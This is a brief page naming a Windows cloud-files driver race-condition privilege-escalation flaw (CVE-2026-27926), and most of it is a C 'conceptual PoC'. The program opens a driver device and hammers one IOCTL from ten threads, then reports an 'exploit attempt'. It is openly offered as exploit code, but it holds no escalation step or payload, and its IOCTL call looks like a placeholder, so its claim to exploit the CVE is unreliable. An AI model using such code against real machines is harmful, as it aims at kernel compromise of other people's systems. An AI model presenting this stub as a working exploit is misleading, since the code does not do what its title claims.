CVE-2026-27926 Windows云文件驱动竞态提权漏洞

#include <windows.h> #include <stdio.h> // Conceptual PoC for Race Condition in Driver HANDLE hDevice; DWORD WINAPI ThreadFunc(LPVOID lpParam) { // Simulate race condition by accessing driver concurrently DWORD bytesReturned; DeviceIoControl(hDevice, 0x222003, NULL, 0, NULL, 0, &bytesReturned, NULL); return 0; } int main() { // Open handle to the vulnerable driver hDevice = CreateFileA("\\\\.\\CloudFilesFilter", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("Failed to open device.\n"); return 1; } // Create multiple threads to trigger the race HANDLE threads[10]; for(int i=0; i<10; i++) { threads[i] = CreateThread(NULL, 0, ThreadFunc, NULL, 0, NULL); } // Wait for execution WaitForMultipleObjects(10, threads, TRUE, INFINITE); printf("Exploit attempt finished.\n"); return 0; }